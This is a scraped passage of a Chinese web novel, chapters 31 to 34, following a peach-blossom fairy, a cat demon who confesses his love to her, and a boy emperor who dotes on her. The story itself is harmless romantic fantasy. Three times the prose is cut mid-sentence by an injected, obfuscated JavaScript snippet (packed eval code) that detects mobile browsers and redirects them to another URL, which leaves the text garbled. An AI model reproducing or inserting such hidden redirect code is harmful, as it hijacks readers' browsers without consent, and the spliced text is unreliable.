烛歌放在她左肩的那只手稍微用了些力气,仅仅是为了让她能更清楚感受到他的存在,很快便卸了力气,只松松地搭在上面,“你觉得这个法子如何?”不等女孩出声质疑,他便语速很快地说道:“反正你很讨厌妖界,不如就在这里修行如何?如果是你的话,说不定能找到不用伤害凡人就能通过他们修炼的法子。” 31. 第 31 章 桃花精后知后觉反应过来少男究竟是什么意思,她茫然抬起头正好与他对上眼,张了张嘴,最后还是什么都没说。 烛歌是个很聪明的妖兽,洞察人情,心细如发,他短短几天就察觉出来桃花精不愿意承认的事实——身为妖精的她抗拒妖界的一切。或许因为自身并不是妖精的缘故,又或许妖也有地区的差异,总之少男并未对此表现出什么异样的情绪,反而想了个别的办法想要劝她修行。 他所说的无非是依照恶妖的修行方式提取凡人的精气,借由此种天地之灵来修补自身,虽说其与灵力本质上无太大差别,都是蕴含在生灵体中的一种力量,可凡人终究与别的花草树木、日月星辰不同,他们是有灵识的。 但凡有灵识便有情感,有情者必有私心,没有哪个凡人会心甘情愿将自己的精气分享给无关之物,于是那些通过吸□□气来增长修为的妖兽变成了恶妖。 让她想一个无需伤害凡人便能夺走他们体内精气的办法,这怎么可能呢?逆天而行者绝不会有善终,烛歌未免也太看得起她了。 “你可真是够异想天开的。”桃花精掀开桌上写着他名字的一张纸,团成团扔远了,再次看向烛歌的眼神里多了几分警惕,“我只是个籍籍无名的小妖精,不是什么都会的许愿神,你若是不满于现状,要么找处福地洞天脚踏实地修行,要么就放手一搏做个遗臭万年的恶妖之王,何必赖在我这里拐弯抹角寻不正之路呢?” “那你刚才在想什么?”烛歌向前逼近一步,灼热的香甜气息扑面而来,少男目光随意似的点在她撑在桌子上的那只手,慢慢吐出质问:“你敢说你刚才没有心动?” 桃花精愣了一下,随即眼神变得坚定起来,认真点头,泰然自若:“没有。”她坦坦荡荡直视眸中浮现怒意的少男,“一开始是我理解错了,所以想了一会,但既然你所说的依旧是利用精气修炼——这于我而言绝不可能,我不会做女娲娘娘不喜欢的事。” 烛歌一噎,看向女孩的眼神多了审视的味道,似乎在判定她究竟是强壮镇定还是果真如此,很快确认了是后者,他突然冷静了下来,面向桃花精的态度终于郑重起来,“怪不得女娲娘娘喜爱你。”他喃喃自语:“明明你之前也做了许多惹怒她的事......” 他后半句话说的很轻,可现在逐渐恢复的桃花精变得耳聪目明,还是很容易听到了他话里的意思。她没有为此争辩什么,心中记挂着自己最初理解错误的设想,随口糊弄几句就与少男分离了。 临走之际,桃花精忽然被一只柔软热乎的手扯住,她回头看去,便见到漂亮的少男露出微笑,纤长卷翘的浅金色睫毛微微颤动着,犹如彩蝶在轻语。 “还有事吗?”推开他的冲动霎那间熄灭,目光从他流光溢彩的眉眼下移到粉嫩的唇瓣,他的嘴很小,嘴角就像真的猫儿一样无意识地向上翘,她蓦地伸手按住一侧唇角,扯了扯。 几乎是在瞬间,少男裸露在外的蜜色肌肤唰一下变得通红,猛地后退两步,不可置信捂住嘴巴,耳尖都要冒烟了,“你你你你你你你你——” 桃花精扑哧一声笑出来,觉得少男变红起来的样子真好玩,她单手扶着门框笑了好一会,等笑够了才挥挥手,语调轻快:“我记住了的,你叫烛歌!” 说完,女孩转身几步间消失不见,徒留下一只小猫妖抱头蹲在地上,默默烤熟自己。 桃花精回到了小世界里。 这里风光正好,万里晴空,绿浪滚滚,虽还见不得一片桃林,但也有零星几株长势极好的桃木在微风中摇曳不息。 在书房里初初听到烛歌那一番话时,桃花精出于本能的第一反应是——有没有可能把精气转化为灵力。 无论她私心如何排斥自己的身份,可她终归是妖精,提到修炼的第一反应也只会是如何更快更好地吸收灵力。因此在烛歌提出依赖凡人修行时,她自然而然就想到了把凡人的精气转化为灵力。 凡人之所以不能像神魔妖鬼一样施展法术,盖因其体内之精气与天地灵力相斥,也是因此,支撑他们生命的精气是有限的,便也不能够利用它们与外界蕴含灵力之物进行交互。而桃花精这种能够直接吸收周遭灵力的生灵便能够利用体内的灵力使外物演变出各种形态,在体内灵力流动于指尖之时,也会有外界的灵力源源不断流入自身。 这是自古以来的道理,精气与灵力从来都是毫不相关的。 桃花精垂眸望向一小片池塘里的景象,黄鼠狼精之前被她打发去了花神庙,不过看样子他并不是个安分守己的,这几天又不知道跑哪里去了。也是,总不会人人都像郑烨那样乖巧听话。 她蹲下身,将两只手一齐探入清澈见底的池内,冰凉的水毫无动静地将双手包裹,这让她稍微冷静下来,此刻再去想这件事不免也有些好笑自己的异想天开。 桃花精就保持这样的动作整整三十六个时辰,三十六个时辰,三天三夜,肥沃的绿草渐渐衰败了,天空好像吸走了地面的颜色变得混沌模糊,稍稍展露的几株桃木也不知是在什么时候被风吹断了。 “抱歉,不知道你想要什么,只能把自己还有的给你了,但愿能不叫你过分艰辛。”她漠然从浑浊不堪的池水中抽离双手,回到了凡世间。 *** “云仙大人!”郑烨正在窗前作画,透过窗子见到迎面走来的女孩大惊失色,连忙撂下画笔,拾起一旁的细锦斗篷冲出去裹住女孩,搂着她快步走进屋内。他情急之下竟直接抬手捧住了她的脸细细查看,又将她转过去转过来看了两圈,焦心不已:“您可有受伤?发生什么事了?” 桃花精回过神,有水液滑过脸颊,她吓了一跳赶紧去擦,发现是黑糊糊的东西,这才松了一口气,再摸摸湿漉漉的头发才反应过来原来是小世界下雨了,只是她方才那三十六个时辰里一直没有注意到。 她摇了摇头,立马便有一堆脏兮兮的雨水向外飞洒,溅了郑烨一脸。 郑烨抬起袖子一点点为女孩擦掉脸上的脏污,动作轻柔,眼里蒙了一层水雾,“到底怎么回事?是不是柳精又来找您了?您这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169330|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天又去哪里了?” 桃花精灵力不足,不能施法清洁自己,便双手揪着斗篷任由男孩动作,“没有任何事哦,我这几天去外面玩不小心摔进泥水里了。” 她笑了一下。 郑烨却没由来地心脏一紧,抚住女孩脸颊的掌心一抽一抽地疼,他又小心擦了几下,确保都擦净后才收回手,面上笑容关切,没有任何怀疑,“原是如此,突然找不到您叫我可担心了,问了那猫妖他不答,还将我骂了一通,我还以为是他将您拐走了呢。” 他说着,又执起桃花精的手帮她擦手,“不过您没事就好。对了,万寿宫的桃薇姑姑前天出宫了,好像是被柳玉冷封了个什么官职,带着之前从花神庙带回来的几个女人又回去了城北。” 桃花精低头看男孩也变得脏污的袖子,突然抬头说:“帮我准备热水和干净的衣裳,我还是洗个澡吧。” 郑烨微不可察眼睛睁大了些,眉梢一跳,很快恢复正常,看向她的眼神发亮,含笑应下。 好歹是皇帝,男孩这点要求很快就已备好。 桃花精绕过屏风,慢吞吞走进水汽缭绕的隔间,上下左右四处打量。 捧着衣裳走进来的郑烨停留在屏风外面,低头看脚,静默地在原地站了一会,才略微向前走近几步以让屏风另一侧可以看清自己的身影,抬高声音询问:“云仙大人,衣裳我给您放这儿了,您自己一个人可以嘛?” 他实在不大放心,可又不能让侍女进来服侍,在得到女孩没问题的回答后,便又说:“那我就在屋外头候着,您有什么事情就喊我一声。” 桃花精不明白男孩为何这样紧张,她虽然是第一次用凡人的方式洗澡,可洗澡又不是沏茶那样费功夫的活,哪怕一个傻子也能看懂要怎么做,有什么好担心的。 她好奇拿起桌子上一碗圆圆的东西闻了闻,听郑烨说这好像是什么洗澡用的......?她扒拉了两下没看懂,放回去没有管。 反正随便洗洗就好啦,等过几天就可以使用法术了。 她坐进热水里泡了一会......好闷,喘不来气。 桃花精仰头深吸一口气,吐出,反复几次,最后干脆双臂撑着木桶边缘往上靠了靠。她发了会呆,左右看看,然后唰一下从浴桶里站起身。 “好了!我洗好了!” 等桃花精穿好新衣服走出去时,就见到门口的男孩一脸震惊地看着自己。 她低头摸了摸衣裳,奇怪问:“我穿错了吗?” 郑烨眨了眨眼,哑然片刻,走上前拿了干净的斗篷给女孩披上,温柔地将她鬓边一缕发丝挽到耳后,忍不住发笑:“云仙大人是不是忘记洗头发了?” “啊,这个啊。”桃花精用一根细软桃枝把头发全部弄到头顶了,闻言抬手想要抓一抓,嗅到仍旧萦绕在鼻尖的臭味,默默放下了手,面无表情看向男孩:“嗯,不会。” 她看到郑烨偏头笑了,是与前一刻完全不同的笑容,眉目都弯起来,笑得花枝乱颤,“那就请允许我帮您洗头吧。” 32. 第 32 章 这几日郑烨与烛歌不知怎么回事总爱往桃花精身旁凑,郑烨倒还好些,虽然性子黏糊了一些,好歹还算是听话,只要她说了不喜欢,男孩便不会再做,顶多就是到处搜罗来一堆小玩意来和她玩。 而这小猫妖还真不是个省心的家伙,他不像男孩那样脆弱不扛打,却又过分耐打了些,两人成日里闹来闹去,简直没完没了了。 有时候桃花精和郑烨正玩的高兴时,少男就会跟块没骨头的水似的缠在她胳膊上,甩都甩不开,不过好在他不再总是提让她修炼的事了,不知道是不是因为那日的训斥让他多少有些害怕。 每当这个时候郑烨就会不开心了。 顺带一提,这位小皇帝现在不喜欢画画了,他有了新的爱好,那就是为桃花精缝制衣裳。 自从桃花精有一回在太极宫洗了澡后,小男孩就迷恋上了找出各式各样的衣裳送给她穿,他们两人身形差不多,于是宫内就传出了陛下爱好女装的癖好。后来还不满足于此,开始命柯良找出许多名贵的布料与剪刀针线,亲自为桃花精缝制衣裳。 虽然她在那之后只另外穿过一次他送来的衣裳就换回了自己最初的装扮,男孩依旧乐此不疲地做这些,说是以后能穿。 猫妖对此不屑一顾,出言嘲讽:“看来也很清楚自己是个没用处的废物啊,所以找了些没意义的活去干来自我感动?我说你也别费那么大功夫了,干脆找个屋子撕纸玩吧,反正都一样。” 郑烨脾气很好,被这样说了也毫不生气,反而十分大度地找出两套自己穿剩下的旧衣裳给了猫妖,他虽然因为年龄小比之烛歌要矮上些许,可男孩的衣物向来宽大,如果是烛歌的话,勉勉强强倒也能穿。 当然,烛歌是绝不可能穿的。 认识那么长时间来他依旧身着那晚在花神庙里桃花精用灵力给他变出来的那身衣服,只不过比起来那时候黑漆麻乌的袍子,现如今可少了很多布料,大概是这小猫妖兽性难化,还改不了撕扯东西的毛病。 这一日的上午天气过分的好了,用过了早膳,浑身上下充满精力,阳光照在身上,里外都暖融融的。空气里桃花的清香十分的淡,更多是草木清香与翻新的泥土味道,这是因为前段时间郑烨又把那些被桃花精吹出去的落花拾起来埋在树下了。 “云仙大人不喜欢的东西就不该出现在您的眼前,既然落花是云仙大人所讨厌的,那烨儿也不会喜欢,就让它们尽消于春泥之中吧。” 桃花精正坐在桃花树下听郑烨讲他这些年所作画中的故事,在见到一张春雨庭院图时莫名想到了这孩子前几天说的这句话,她听得昏昏欲睡,但还是强打起精神,撑着下巴观看面前貌美可爱的男孩。 他讲起画时全然不似昔日里软糯的模样,反而平添几分叫人如沐春风的温柔,黑凌凌的眼珠子含着真切的笑意,一会垂眸看画,一会抬头看了她一眼就很快移开,随即就笑成了两只月牙。不过他就连笑的时候也是很安静的,像是她从前小世界里的微风拂过绿野,带着平和宁静的芳香。 男孩今日依旧穿了件粉红色的衣衫,自从她回来后他衣柜里那些黑呀白呀的衣裳就没再翻出来过了,素日里多是鲜亮明媚的色彩,更加称的他人比花娇,姿容无双。 他的手指也很好看,又细又长,没有一点茧子,指甲修剪的很工整,落在栩栩如生的画作上时像是一只翩跹起舞的蝴蝶,动来动去的很是惹眼。 桃花精一直盯着男孩的脸瞧,直把他瞧的小脸通红才收回视线,垂眸看向他漂亮的手。 ——然后握住。 于是郑烨如春花盛放般轻柔的低语蓦地停下,只低头露出红色的耳朵。 她拍下他的手,按在画纸上,无情说明:“你讲的这些好无聊,六年的时间于你而言也不短吧,你就只做了这一件事么?” 散落在后脖颈处暖洋洋的光点在顷刻间成了插入血肉的冰刺,郑烨一下子血色尽失,变得惨败起来。 他吞咽了一下,惴惴不安,努力想让自己因为慌张而疯狂跳动的心冷静下来,却不成功。 云仙大人很少过问他的事情,尤其是已经发生过的事情,云仙大人只对未来感兴趣。 倘若她真的问了出来,那么一定是现在的情况使她不满意,因而质问过去。 郑烨不知道是为什么,他向来捉摸不透女孩的心思,下意识摸了摸故意别在领口处的花,随即自嘲他这点小心思怎么可能被云仙大人注意到,还是乖巧应声,说是这样的。 这个时候那讨人厌的猫妖又跑过来了,他今日穿的格外不像样,胸膛有大半都露出来,好好一件衣服被他穿的衣不蔽体,粗俗无比。 桃花精被一躯柔软热乎的身子贴紧胳膊,还有立刻占据周遭空气里的甜腻的味道,她正酝酿情感准备和“满眼只有她”的郑烨好好谈谈呢,此刻被烛歌一整个人贴在身上,难免分去了注意力。 她伸手便要推开抱住她不撒手的少男,却不想刚伸出去的手就被少男一把攥住,拉扯着她的胳膊连同手一起捂在怀里。 烛歌眨巴眨巴眼睛,朝她展露一个甜美可人的笑,“你说,我今日好不好看。” 事实上,桃花精并不觉得他今日有什么与往常不同到需要问出这个问题的地方,可是在对上少男璀璨的金瞳,以及几乎与阳光融为一体的浅金色毛发时,她改口夸赞:“很好看。” 女孩罕见的配合极大程度上取悦到了少男,他开怀大笑,将她胳膊搂的更紧了,用蜂蜜一样甜蜜的嗓音——就像他蜂蜜一样光滑细腻地肌肤那样,都充满了原始生命蓬勃生机,“那我们出去玩吧!” 桃花精刚要拒绝,放在桌子上、压着郑烨的那只手就被男孩反手握住。 相较于少男身上灼热的气息,男孩凉的像冰块一样,此时的他面色苍白如霜,嘴唇却是明艳艳的血红,他干脆两只手一齐握住她的手,湿漉漉的眼神望着她,“云仙大人,您是不喜欢烨儿这样子吗?” 桃花精闭口不言,眨了眨眼才想起来他这话接的是哪一句,大力推开粘在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169331|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胳膊上的猫妖,看向郑烨时正色几分:“确实不喜欢。” 不想哄人,因此不等男孩表现出伤心的神色,她就接着说:“从前长久地被关在太极宫内实在是无可奈何,现在太后既然已经解除了你的禁足,平日里也可以多出去走动走动,不要总是把自己闷在这里做这些没意思的事。” 她又把猫妖扯回来,“虽然不清楚你们俩为何看彼此不顺眼,可是我能保证猫妖不是个坏家伙,你要是暂时没办法与外面的同龄人玩耍,也可以多与他一块玩乐。” 此话一出,郑烨与烛歌一齐怔愣住。 烛歌被女孩揪住后衣领,因为这话神色略有些不自然,较深一些的肤色藏着丝丝缕缕的羞意,发出一声低不可闻的轻哼,扭过头去不看任何人。 而郑烨则是定定看着对面也移开视线不肯看自己的女孩,柔软的情感一点点盛满心脏。如果是从前他一定会疑心于云仙大人是不是嫌弃自己总是黏在她身边,可是现在,他明白眼前这位看似调皮的妖精大人其实一直在用自己的方法关心着身边的人。 只是,无论是记录下六年来想给她看的景色,还是一心一意留在这里,从始至终都不是因为别无选择。 恰恰是他想要选择这样的道路。 人生在世,所求不过一个“满”字。那些被人们苦苦追求着的,不正是可望而不可及的希望吗?一点点看似微不足道、随时都有可能熄灭的希望之火都能够叫无数人飞奔而去,那他为什么就不能这样呢?就因为他所求的希望与他们比起来还要渺茫千倍万倍吗? 他不知道。 郑烨隐隐约约意识到此刻的问题很有可能伴随他的一生,与他共品因为云仙大人而产生的喜怒哀乐,或许在无法预见的将来,今时今日给予他无限幸福的选择将会成为让他痛不欲生的源头,可是—— 可是至少现在,他爱......这种追随云仙大人的感觉,爱到无法自拔。 “虽然很不愿意,可这既然是云仙大人所希望的,我会拼尽全力尝试。”郑烨莞尔一笑,“但是不管怎么说,全部的心神都能被云仙大人占有,这样的感受对于现在的我来说真是一件从不后悔,并一直期待着的事情。所以,努力与别人接触后还是想要回到您身边的话,还请您一定要原谅我。” 男孩俏皮地眨了两下眼,桃花精被他逗笑,摸了摸他柔软的发顶。 另一边的烛歌呆呆看着二人互动,一股奇异的暖流从后脑勺流淌进入胸口的位置,他目不转睛盯着女孩的脸瞧,熟悉的面容上是从未对他展露过的柔软。呆滞的目光缓缓顺着女孩方才还被他搂在怀里的手臂一路看过去,是在她手下舒坦地眯起眼的男孩。 出于这股盘旋在胸口的暖流的缘故,他照着自己心脏的位置使劲拍了好几下,又抬手揉了揉眼,再次睁大眼睛看过去时,举止亲密的两人就一下子被纳入了眼底。 倏而盛放的阳光刺痛了双目,烛歌刹那间恍然大悟,心中那团令人不适、叫人难受的暖意并不是因为羡慕。 33. 第 33 章 桃花精要出宫一趟,这回她有提前给郑烨打声招呼,烛歌知道了也要跟着去。 郑烨皮笑肉不笑:“宫里这几天可能有夜宴,届时多半要找烛歌表演,为免让人起疑,还是让烛歌暂时留在太极宫等候着吧。” 虽然不久前才保证过会与旁的人好好相处,可男孩还是极少与少男交流,大多时候都是通过桃花精这个中间人传达自己的意思。 桃花精点点头,“他说的有道理,你就在这里好好待着吧,我出去可不是玩的。”说完,挥手打出一个莹白色的长圈就要走进去。 烛歌着急上前只拽住了她的一片衣袖,又双手拉着衣袖上前扯住她的手腕,一向能说会道爱斗嘴的少男头一回变得不善言辞起来,脸上浮现窘态,“我、我有话必须和你说。” 郑烨心头一紧,忽然有种不好的预感,立即阻止,语气隐含怒意:“烛歌,云仙大人都说了有要事要忙,我们既然无法帮忙就不要阻碍大人了。”说着,上前就要分开两人缠在一起的胳膊。 烛歌强忍住打飞这小男孩的冲动,不搭理他,对着女孩苦苦哀求:“拜托了,我真的有很要紧的事要与你说,带我出去吧。” 桃花精见他如此,以为他真的有什么重大的秘密要说,朝男孩点点头,抓住他就走了,故而也没有看到郑烨黑的可怕的脸色。 结果来到城外一条深巷里,少男又支支吾吾讲不出话了。 “你这家伙......浪费我灵力啊!”她单手握拳就要揍人,小猫妖赶忙缩到墙角,双手护住脑袋。 烛歌害怕地闭紧眼,迟迟没有等到拳头落在头顶,睁开一条缝小心翼翼看过去,只见到女孩越来越远的背影。 他怕她走,一时慌张,口不择言竟直接大声喊出来:“我喜欢你!” 突如其来的真情流露回荡在寂静的空巷,四个掷地有声的字组合成少男最不可言说的心事,分明是鼓足了勇气才说出了这句话,说话的人反而在言毕变得胆怯。 烛歌一副不敢相信的模样,恍若被说这句话的人是自己,他不受控制地后退两步,踉跄着靠在身后冰冷的石墙上。 头顶有不知名的虫子在爬来爬去,本来应该是难以察觉的,然而过于紧张的心绪使他对于外界声音的关注达到了极高的程度,任何一种微末的声音都能在他耳中砸起巨浪。 大概是因为他在深深企盼着,而又害怕着,接下来会从女孩口中说出的话。 烛歌知道自己的感情在随便一个外人眼中都是可笑甚至荒诞的。 他们可是妖啊,妖怎么可能会有想要和另一只妖厮守终生的念头,这可是只有凡人才能有的情感,妖喜欢妖?这不是闹着玩的嘛。 就算除去这违背本能的一点,将他们两人放入红尘纠纷中,他只是一个卑劣、低下的妖兽,连女孩脚下一块最普通的石头都不如。 这段时间以来,女孩对待猫妖过分正常的态度反而是最不正常的,所谓妖兽,从来都是六界里人打人骂的存在,不是就连凡人们都看不起他们,想驱逐他们吗? 可是那一晚,在花神庙的那一晚,桃花精向郑烨介绍起他来是那么地自然。 “简单来说呢,我们妖精!是由整个种族孕育而出,经由女娲娘娘点拨且得到了众神认可的具有灵识的生命。而妖兽则不具备这些。” ——女孩那时说的每一个字都牢牢镌刻在烛歌的心底,偏偏是最简单的一句“而妖兽则不具备这些”,让他这个听着辱骂长大的妖兽见到了最奇特的世界。 原来妖兽不是肮脏的血统与低贱罪恶的存在,原来妖兽和妖精的区别只是这些。 也是从那一刻起,烛歌开始有意观察其这个年幼妖精的一举一动一言一行。 所吸引他的从来不是她给予的最基本的尊重,仅仅只是她所坚持的信念世界里微不足道的一小片。 烛歌在很多次都想要告诉近在眼前的女孩,之所以不远万里,跨越山河来到她身边,除了对于传说中“备受女娲娘娘喜爱的妖精”的好奇,更多则是因为每一次听到关于她的故事时,那种宛如见到新世界的震撼。 他为她身上的桀骜不驯着迷,早在见到她之前,他就已经对传说故事里自由自在的第二十七代桃花精向往不已了。 而在终于来到她的身边,终于对她说出自己前不久刚刚认识到的心意后,他还想说: “喜欢你,喜欢你的原因多到数不清——就算没有了这些原因,也还是好喜欢好喜欢你,因为、”他顿了一下,手掌撑着身后的墙站直身子,一步一步走向背光看过来的女孩,迎着她的视线,他说:“因为这颗因为见到你和郑烨亲密而难受的心脏已经住进了你,那么那么让人由衷感到幸福的你,就算是离去了,也永远无法忘却。” 因为从前一直追逐着传闻里的你,因为不想往后只能守护着记忆里的你,所以无论这样的情感多么奇怪,他也想要大声说出来。 桃花精紧皱眉头,看着眼前逐渐靠近的少男,她现在倒是能看出来他今天异常漂亮,蜜色的肌肤像是阳光吻过的糖浆,泛着柔和的光晕——这也有可能来源于他宝石一样璀璨夺目的金瞳,譬如软塌塌包裹着少男纤长身姿的浅金色卷发,就衬得他光彩照人。 他越走越近,精致的小脸铺了一层若隐若现的粉色,脸颊处要更为明显一些。 诶诶诶?等一等——! 虽然完全听不懂这家伙在说些什么,但是此时此刻如此之凝重的氛围显然是很了不得的事情吧!现在这种情况假如敷衍过去或者直接给他一拳感觉会让事情变得更尴尬呢......虽然很不想承认但她一直蛮怕这种“哇必须正经起来呢”的场合,感觉就像是妖精不得不穿着凡人的厚衣裳和一群关系乱七八糟的人去做一些很复杂的事情,很别扭啊喂! 正在考虑要不要夸他今天很好看,毕竟他好像很喜欢听这种话?啊这,他刚才说什么来着,喜欢她?为什么突然就这个样子了!他们两个不是互相讨厌来着的嘛......虽然她也不是真的讨厌他啦,但是突然说出真心话这种事情果然还是很有难度呢。 ——无论是对说者还是听者。 尽管很不合时宜,桃花精还是莫名想到了很久很久以前,陶丽绾也对她说了类似的话。 因为一直秉承着“你是让我们桃花一族沦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169332|161808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落至此的罪魁祸首”这样的心态,面对那个永远温柔笑着的女人她总是态度很差,当然这其中也有很大一部分原因是知道无论她怎么做女人都不会生气。因此在某一个夏夜里怀着孕的陶丽绾忽然对她说了“一直以来都很喜欢绾绾”这样的话时,她几乎称得上惊吓。 那时候实在不知该作何反应了,很想继续摆脸色说讨厌她怨恨她诸如此类的话,可是面对着她温温柔柔的笑意真的没办法讲出来。 最后是怎么做的来着...... 桃花精两步走上前一把抱住慢吞吞的烛歌,虽然由于身高差距没办法像当时把陶丽绾的头按在怀里那样对待烛歌,但是保证两人不会面对面还是没问题的...... 如此,看不到对方就不会觉得尴尬啦。 怀中温热的躯体瞬间变得僵硬,印象里少男总是这样热乎乎的让人觉得很暖和,抱住他时,她甚至能通过两人紧贴的胸口感受到对方心脏在剧烈鼓动,还有他冒着热气的、露在外面的修长脖颈,正在以肉眼可见的速度变红。深色皮肤掩盖下的血管里流淌着的,一定是十分滚烫的血液,才能支撑他无时无刻不像个大暖炉一样,充满太阳的感觉。 血管跟着他的胸口狠狠跳动,感受着这一切的桃花精开始有点担心自己是不是吓到他了。 或许这只小猫妖还是很怕妖精的? 想到这里,正打算远离的桃花精忽然也被少男拥住了。 他修长的双臂紧紧箍在她的腰上,却不会叫人觉得有束缚的感觉,略微鼓起的薄肌贴近后腰,显然他在用力,用力克制。 耳畔传来一声轻笑,随即有烫呼呼的皮肉与她的脖子相触,应该是他把头埋在了她的颈窝——因为他的声音也变得闷闷的:“就知道你不懂......就知道你肯定不懂,但怎么还是那么伤心啊。” 一滴......两滴...... 滚烫的液体争先恐后钻进桃花精的衣领,烫的她都抖了一下身子,忍住想要推开的冲动,她仰头盯着墙上爬来爬去的蜘蛛,纠结个不停。 现在到底该怎么做,事情是被她搞砸了吗?果然适用于凡人的方法不一定适用于妖精啊。 不,应该说适用于陶丽绾的办法不一定适用于除她以外的所有人。 陶丽绾...... 念及此处,还有要事要做的桃花精还是咬咬牙推开了少男,没想到只是轻轻一推,少男便远离了。 他仍低着头不愿意面对她,抽噎着不停抬手抹眼泪,原本好看的眼睛都哭肿了,鼻头通红,脸颊也红红的像是得了冻疮。 她勉为其难抬袖,对着哭个不停的少男犹豫半天,最后还是没能狠下心来弄脏衣服,毕竟她现在灵力少的可怜,用一点就没一点,不能浪费它们来洗袖子。 于是捏住少男松松垮垮的衣裳给他擦了擦眼泪,干巴巴说:“别哭了,再哭可就不好看了。” 烛歌水洗过的漂亮眼睛配合它原本的色彩,简直亮的惊人,他眼里还淌着泪,却依旧固执地盯着她看,目不转睛。 桃花精不自在地扭头,挠挠脸。 应该不是她把他弄哭的吧。 34. 第 34 章 事情朝着桃花精完全没有预料到的方向发展…… 烛歌在叽里咕噜说了一通奇怪的话之后陷入了十分低沉的情绪中,尽管她很努力在为这个突然变得漂亮的少男擦眼泪,可是在这之后他依然表现的很伤心,似乎擦干眼泪的办法在他这里就失效了。 ——当然,他从前就很漂亮,只是从前的漂亮是别人口中的漂亮,如今的漂亮却是桃花精发自内心认同的事实。 不过这个吵吵闹闹的猫妖,在难过起来竟是很内敛的模样,具体表现在无论桃花精说出多少逗他玩的话,少男俱是一笑了之。就连两人走在一起,他都好像与洪水猛兽伴行似的与她隔了老远。 桃花精从没遭受过这样的待遇,这让她心底那一丝对于烛歌的怜惜全部消失,唯余下烦躁与不耐。 她当然不认为自己做错了什么,不,应该说没人可以这么认为,因为她从始至终什么都没有干,一直是少男在自说自话自己哭个不停,甚至还不领她的情。 后来两人一前一后走在街上时,跟着自己的少男突然停下来不动了。 她头也没回,没有任何停顿继续往前走,好像根本察觉不到他停下来一样,后头的少男生气地跺了跺脚,而后与快步冲过来拉住她的胳膊,语气微愠,但更多的是委屈:“我也要吃糖葫芦,给我买!” 听到“也”,桃花精就明白这家伙在较谁的劲了,她倒不觉得郑烨把这种事讲给烛歌听有什么不对,顶多是觉得两个人中应该有一个是不懂事、做错了的。 她像是个判官一样捏着下巴就地开始思考究竟是谁对谁错,想了半天,一旁少男的脸色也逐渐变黑,最后直接甩开手吼了句“爱买不买”,扭头就走了。 瞬间周围的人来人往静止下来,耳边的吵吵嚷嚷突然消失让桃花精从自己的世界里抽回神,左右望了望听见路人的议论: “那是拾芳楼那个头牌吧,他不是叫方家小公子买了去?” “我好像听人说那日方公子身边还跟了个小姑娘,大约是讨那姑娘欢心买了送她的。” “啧啧,果然是头牌呦,虽然这肤色确实深了些,可样貌身段一点也不比咱们象国的小皇帝差。” “呦呵,你个屠妇见过皇帝么你,连皇帝长什么样子都没见过还比呢,我倒是觉得他能与那方家小公子一较高下。” “嘿,我是没见过,可天下谁人不知我们象国的小皇帝那是一等一的美少男,倾国倾城,绝世无双!” “既然是绝世无双,那就不能比较了。” “你们俩别吵了,拿皇上与一介舞男作比,不要命啦!” 此话一出,现场顿时爆发哄堂大笑。 “谁不知道如今是柳大人的天下啊!就算是柳大人之下还有一位虎视眈眈的太后娘娘,哪怕再退一万步——太后身边那位侍女都快被她宠爱成一国公主了!连那侍女都比所谓的皇帝有身份的多啊。” 众人笑作一团,此时有尚不经事的小姐轻声细语提出疑问,说那侍女不是被太后娘娘撵去了皇帝身边,一同被关押了整整六年么。 那个嗓音最响亮的女人,也就是位身高体壮的屠妇重重拍了下小姐的背,将小姐拍的往前一踉跄,默默装死的桃花精赶紧伸手扶了一把,待她站稳后便不想再听,转身灵活穿过人群离去。 可那屠妇声音实在大,隔了老远她也能听见。 “这就没有说书人敢给你讲了吧!让姐姐来告诉你,太后娘娘之所以囚禁爱婢六年,全是为了保护侍女啊!” “保护侍女?这又是个怎么说法?” “六年前还是太傅的柳大人断言那侍女为妖祟所化,一再逼迫太后娘娘将其压去城北花神庙烧了祭祀花神,太后娘娘也是没有办法,这才叫侍女去皇帝身边躲躲。” “城北花神庙?那不是……” 桃花精加快步伐,彻底远离,没有再听。 掐手一路推算,最后停留在一家熟悉的门店前。 她走进。 “小桃姑娘!” 清越的男声在她踏过门槛的一瞬间响起在耳边,她先是朝挑眉轻笑看着自己的女人点点头,这才看向发声者:“方花零。” 少男依旧穿金戴玉,大跨步走过来时叮当响,他脸圆圆的下巴却很尖,整个人既可爱又有世家公子的风流贵气。 他眉眼弯弯,鹅黄色的抹额点亮清纯笑颜,走过来后一只小臂撑在前台,略低头,抬眸看进她的眼里。 “好久没见了!”方花零笑的灿烂。 “好久不见。”桃花精目光扫过少男纤细腰肢上挂着的玉佩,正是初见那日她送的,“你怎么在这?” 